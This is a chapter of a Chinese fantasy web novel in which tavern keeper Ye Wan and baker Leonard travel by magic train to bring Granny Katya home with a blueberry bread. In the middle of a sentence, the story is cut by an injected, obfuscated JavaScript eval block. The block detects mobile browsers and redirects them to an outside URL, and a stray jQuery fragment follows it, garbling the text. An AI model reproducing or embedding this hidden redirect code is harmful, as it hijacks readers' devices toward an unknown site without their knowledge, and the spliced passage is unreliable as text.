今日的酒馆菜单是日式天妇罗,芦笋保留翠绿的蒂头,叶晚调好冰镇过的面糊,给芦笋沾一层薄薄的面衣。
当铸铁锅里的冷油开始升温泛起阵阵涟漪,叶晚用筷子把裹着面衣的芦笋下锅。只听“滋啦”一声,油香伴随着面衣的急速膨胀一起在厨房升腾起来。
那些面糊很快就在高温里变成一层薄薄的、充满蜂窝状的脆皮。
松饼站在叶晚肩膀上,很是期待看着锅里香酥焦脆的天妇罗,只要再浇上一层由昆布酱油熬制的鲜酱汁,那味道......
松饼咽了咽口水。
但是叶晚在走神,她持着长筷呆滞的望着天花板。
“吱!”松饼蹦跶到她脑袋上,叶晚被提醒,回过神来时已经闻到一大股焦糊的味道,赶忙关了火。
天妇罗变成了一坨焦炭,叶晚赶紧去开窗,然后带着松饼出了大门,就蹲在门边上大口呼吸新鲜空气。
桃乐丝举着扫帚在店门口蹙眉看她:“作为一个淑女,从店里狼狈跑出来可不行。”
叶晚擦擦脸上的灰:“我这是特殊情况,毕竟......”
三天了卡佳婆婆都没有消息,雷奥又不知道跑哪儿去了。
蜂蜜巷的大家都很担心。
桃乐丝往前抬了抬下巴:“这很荒唐,担心朋友是对的,但是如果影响到自己的生活,那就太不机智了。”
“但是我能看出来你也很担心。”叶晚说。
桃乐丝开始来回踱步:“我?不好意思,我并不会让这种小事来影响我的生活。”
叶晚想打断她:“等等!”
桃乐丝挥挥手:“我还没说完......”她提着裙子再次优雅转身,一脚踩进了某团绵软的物质里。
叶晚偷偷捏住鼻子屏蔽那道臭味:“我提醒你了,你不听。”
可能是守夜人协会养的鹰头狮,在暗夜里降落在蜂蜜巷,然后拉了坨大的。
桃乐丝的脸气得通红,大怒道:“他们是把我这里当猫砂盆了吗!我一定要写信投诉守夜人协会。”
她把那只缎面鞋留在那一坨里,然后赤着脚一瘸一拐地回房了,可能是去洗脚了。
叶晚和松饼面面相觑,而后发出一阵爆笑。
到了晚上,雷奥纳德终于出现了酒馆,他手上还拿着一个信封:“找到了,她在虹彩峡谷的一个小村落里。”
“那得保证她愿意回来啊。”叶晚看上去有些苦恼,突然她灵光一现:“我想到了个好办法。”
深夜的王都火车站弥漫着暗紫色的雾气,清冷月光照耀在紫耀石堆砌的月台。
伴随着喷涌而出的蒸汽,远处的魔法列车快速驶来,那列车很像19世纪伦敦的那种老火车,上面刻着许多发光的、繁复的金色花纹,车头镶嵌一大块蓝色的魔法水晶,那是列车的动力来源。
叶晚饶有兴趣的去看别的旅人,整个月台只有她、雷奥纳德和一个被皮质斗篷裹得严严实实的旅人,初夏的王都天气已经炎热,叶晚都换了件白色的小裙子,这天什么人会穿皮质斗篷呢?
雷奥纳德看她一眼,沉声道:“别看,那是魔法生物。”
叶晚赶紧把头扭了回来。
老式蒸汽魔法列车在月台稳稳停住,两人上了车。
一只穿着西装背带裤,脖子还绑着红色蝴蝶结的小熊猫推着餐车走过来,用肉垫拍一下餐车响铃声,然后把餐车刹在他们面前:“要来点夜宵吗?”
叶晚去看餐车,瓜子花生矿泉水......
“不用了。”雷奥双手抱臂,提前一步给拒绝了。
小熊猫点点头,又奋力推着餐车走了,叶晚跪坐到柔软座椅上,趴在椅背去看小熊猫圆滚滚的背影。
它毛茸茸的大尾巴从燕尾服西装的开叉处冒出来,一扭一扭的,简直要萌化叶晚的心:“这也太可爱了。”
松饼只有个头冒在行李箱外,气得吱吱叫,叶晚赶紧安慰它:“但是没有你可爱。”
“不过列车上的服务员为什么会是小熊猫呢?”叶晚扭头去问坐在一边的雷奥纳德,他戴着帽子低头在假寐:
“月历317年,最高法院通过了《魔法生物同工同酬法案》《禁止强迫魔法生物劳动保护法》《魔法生物权益保障法》,因此魔法生物出来工作是稀松平常的事情。现在,请停止叽叽喳喳的,小姑娘,火车要开好几个小时,不准再问我任何问题。”
叶晚背过身,张开双手模仿他“不准再问我任何问题”的冷酷模样,然后偷偷做个鬼脸。
这辆列车在铁轨上快速行驶,叶晚很兴奋,完全睡不着:“松饼你看!”她压低声音。
列车正穿过隧道,隧道不暗,因为上空飘着许多发光的水母,很多土拨鼠戴着安全帽,扛着铁锹在维修铁轨。
“酷。”她说。
叶晚又对着窗外看了一会儿,打了个哈欠,也把头靠在窗上,很快睡着了。
当第一缕晨光打到她脸上时,叶晚醒了。昨夜火车顶还是绘着流动星星的黑色,今早变成了蔚蓝色,飘着流动的白云。
窗外青色的山峦此起彼伏,山峦间架着七色的彩虹,乳白色晨雾围绕在火车间,从叶晚的角度看,像一幅连拍的胶卷相机拍出来的流动森林
雷奥纳德站起来:“到虹彩山谷了,走了。”
穿着西服的小熊猫又奋力推着餐车从那头过来,欢快地说:“需要早餐吗!”
叶晚掏出钱包买了两个面包,当她把钱递到小熊猫爪子上时,趁机两眼放光的轻轻摸了下它的肉垫,手感非常好。
虹彩峡谷的乡间小站非常简陋,月台只有一个破损的塑料棚子,旁边摆着一个巨大的向日葵,花梗上挂着牌子,上头写着:“向日小站。”
雷奥纳德从包里拿出罗盘,看了看方位,指了指右边:“走这边。”
两人沿着铁轨在走,日头升起来了,叶晚热得要命,捡了个大叶子用力给自己扇扇:“松饼你热吗?”
松饼无精打采的吱了两声。
叶晚把手上的叶子折两下做了个帽子戴到松饼头上,然后快步赶上前面的雷奥:“我们到了吗?”
“快了。”他简单说两句继续往前走,叶晚看到铁轨那头有两个戴草帽的人,于是跑过去。
“你们好,你们知道向日葵村在哪儿吗,有见过一个橙色头发很慈祥的婆婆吗?”
两个戴宽檐草帽的人回头。
不是人,是两个圆滚滚的大蓝莓,戴着草帽,看到叶晚喊它们变得惊慌失措,赶忙背着装满蓝莓的竹筐蹦跳着走了。
雷奥转头喊她快走:“那是水果精灵,胆小不会说话,快点走,我知道路。”
两人沿着铁轨又走了一段时间,终于走到了尽头,那里是个开满花朵的巨大蓝莓园,蓝莓清甜的香气飘到叶晚鼻子里,而卡佳婆婆戴着草帽在给蓝莓浇水。
她那头橙色的长发跟太阳一样耀眼。
卡佳把他们招待到了凉亭里,又拿出红茶、蓝莓酱和切片面包招待他们。
雷奥纳德埋头饮红茶,他不擅长说话,只能叶晚来开这个口,不过她没把请求直说,而是从行李箱里拿出一个小食盒,,里面放着一个蓬松的蓝莓面包,外面裹上一层轻柔的椰蓉,像雪花一样毛茸茸。四层柔软蛋糕坯里,裹着紫玛瑙般闪闪发光的蓝莓酱。
“这是雷奥花了两天时间研制出来的,你尝尝!”叶晚说。
听闻卡佳婆婆之前所在的翡翠谷村盛产蓝莓和翡翠,她很喜欢一种蓝莓面包,蛋糕胚很软,外层是蛋糕的奶香与椰丝的椰香,而咬到里面时,浓郁酸甜的蓝莓酱就会涌出来,吃起来湿润又软糯。
这种蓝莓面包做起来有点难度,上下两层是稍微有点硬硬的老式面包,中间两层则要做出柔软的类似蛋糕的口感。
雷奥纳德跟叶晚试了两天,柴火都不知道废了多少,终于把这种面包做出来,蓝莓酱的部分则是叶晚熬煮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545317|171035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,里头放了大黄增加清爽的口感。
卡佳婆婆接过了蓝莓面包,咬下第一口的时候,她那浑浊的眼睛突然亮起来,那蛋糕绵软,中间的蓝莓酱酸甜可口。
她用苍老的手指抹一下眼睛:“真好啊,就是这个味道。”这蓝莓蛋糕把她带回了过去的光景里,她在家里干活,自己的丈夫会偷偷迎着晨雾跑去山里采摘草药,在商店换了钱给她买最爱的蓝莓面包。
蓝莓面包被卡佳婆婆紧紧捂在胸口,夏风从四周吹进来,轻轻抚摸在她的发顶。
叶晚起身去安慰她:“我们都非常喜欢您,希望您回来。”
可她摇摇头:“不不不,我得过那可怕的瘟疫,大家会吓坏的。”
叶晚从行李箱拿出另一份东西,是大家送给卡佳婆婆的礼物:
慈善之家的孩子们用折纸折了很多星星,装进已经用空的果酱瓶里,并让叶晚带话:“婆婆,我们想念你了!”
佩妮缝制了一件绣有蓝莓的长裙子,并希望她回来;桃乐丝只送了一个小铜锅,抱怨道没有她在耳边唠叨,日子都无聊起来。
“家人都在蜂蜜巷等你回来,请不要离开我们。”叶晚说。
卡佳婆婆看到那些礼物,爱惜的用手指抚了抚,最终还是轻轻点点头。
雷奥纳德的面包店突然开始大受欢迎,因为他最终接受了日报的采访,并要求日报多拍几张果酱面包的照片,那些像宝石一样闪闪发光的草莓包、桑葚包、蓝莓包看上去那样诱人,很快吸引了不少人来蜂蜜巷买面包。
卡佳婆婆的房子里堆满了各种莓果,一个人来不及熬煮,把慈善之家的孩子们喊来帮忙,孩子们捧着大桶果酱,在果酱铺和面包店来回穿梭。
当然也有许多人并不是很想吃面包,只是想一睹前骑士的风采,带着相机来“追星”,把雷奥纳德逼得戴起了面罩。
叶晚趁机在酒馆门口卖起了饮料:莓果冰茶和青提柠檬茶,绯红的茶汤像晚霞一下沉淀在玻璃杯里,酸甜的莓果与茉莉花茶底十分相配,细碎冰沙沉淀在杯子底下,很适合夏天解暑。
同时,只要买饮料还送一把扇子,因此叶晚一整天都赚得盆满钵满。
到了晚上,大家围聚在小酒馆里,慈善之家的孩子们给卡佳婆婆做一顶画着蓝莓的纸皇冠,她像个女王一样坐在那儿。
“敬蓝莓果酱面包!”
“敬卡佳!”
酒馆里堆满了空酒瓶和欢乐的笑声,卡佳婆婆擦擦眼睛:“不走了,这回真不走,我在后院撒满了蓝莓籽,明年院子里会长满香甜的蓝莓。”
叶晚把醉醺醺的客人一个个送出门,揉揉发酸的胳膊跟松饼一起上了二楼。
还未打开门,便在门的缝隙看到一点儿紫色光芒,叶晚问松饼:“我没关灯吗,不对啊灯也不是紫色的啊?”
松饼歪歪头:“吱?”
叶晚警惕的打开门,里面空无一人,光源来自书柜上的一个小玻璃瓶。
那玻璃瓶是叶雨留下的,看着很像洗干净的醋瓶子,叶晚不知道她为什么留着,但也没动她的东西。
此刻那空无一物的瓶底泛起细砂般的紫色流光,这些光芒很快聚拢在一起,组成了一颗泛着紫色光芒的小星星。
叶晚揉揉眼睛,走上前细看,玻璃瓶底折射出烫金的字样,如同某种魔咒,那些文字闪着光芒,写着:恭喜治愈两位客人,请酒馆主人再接再厉。
这些光芒浮现了一会儿,又化作星砂回归到那个紫色星星上,星星在旋转,并且发出温柔的嗡鸣。
叶晚想起来了,叶雨在信中说的“用美食治愈一百个客人。”
她把瓶子珍重捧起来:“我会努力的,妈妈。”
老橡木酒馆对面是蜂蜜巷的墙,经过桃乐丝不断投诉,道路处终于把新的排水管道装了上去。
此刻管道上站着一只灰色的珍珠斑鸠,那只灰斑鸠静静立在水管凸起处,又扑扇两下翅膀,很快飞走了。